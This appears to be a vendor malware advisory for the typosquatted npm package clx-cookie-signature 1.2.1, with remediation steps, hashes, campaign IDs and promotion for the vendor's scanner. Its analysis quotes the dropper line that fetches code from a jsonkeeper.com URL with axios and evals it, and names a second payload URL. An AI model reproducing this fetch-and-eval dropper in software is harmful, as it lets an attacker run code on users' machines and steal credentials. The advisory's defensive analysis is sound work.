Which versions of clx-cookie-signature are malicious?

The following npm versions of clx-cookie-signature are flagged malicious: 1.2.1. Treat any of these as compromised.

How do I remediate clx-cookie-signature if I installed it?

clx-cookie-signature is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed clx-cookie-signature — how do I know if it already compromised me?

If clx-cookie-signature was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is clx-cookie-signature part of a known attack campaign?

Yes — clx-cookie-signature is associated with the IN-MAL-2026-007036, GHSA-vwwm-x6xj-cfmf, RLMA-2026-05516 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find clx-cookie-signature across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for clx-cookie-signature (version 1.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging clx-cookie-signature across your stack and pipelines.

Malicious package

clx-cookie-signaturenpm

clx-cookie-signature is a confirmed malicious npm package (MAL-2026-6141) that steals credentials and exfiltrates sensitive data (malicious version 1.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in clx-cookie-signature (npm)

MAL-2026-6141

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall clx-cookie-signature

What this malware does

Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk [email protected]', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), eval'ing whatever JSON the author currently hosts at that URL. A helper g() (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.2.1

Indicators of compromise (SHA-256)

9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3

b6f8bcf9ace189d38ea749fd2cf087f05e80dbb540c2c7b3bb0466e30a269008

9e83d0ddfd8a5422ce4eaf0625b18e472efa12bd4b2fa1a7a868d6738ea681c1

7c61956e6adf133a9ac34dcb89e7ed87773c6145d89ff84e06d5fd40c1384372

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for clx-cookie-signature (version 1.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging clx-cookie-signature across your stack and pipelines.
If you installed it — respond
clx-cookie-signature is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If clx-cookie-signature was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks clx-cookie-signature before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. clx-cookie-signature on npm has been identified as a malicious package (version 1.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007036GHSA-vwwm-x6xj-cfmfRLMA-2026-05516

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks clx-cookie-signature-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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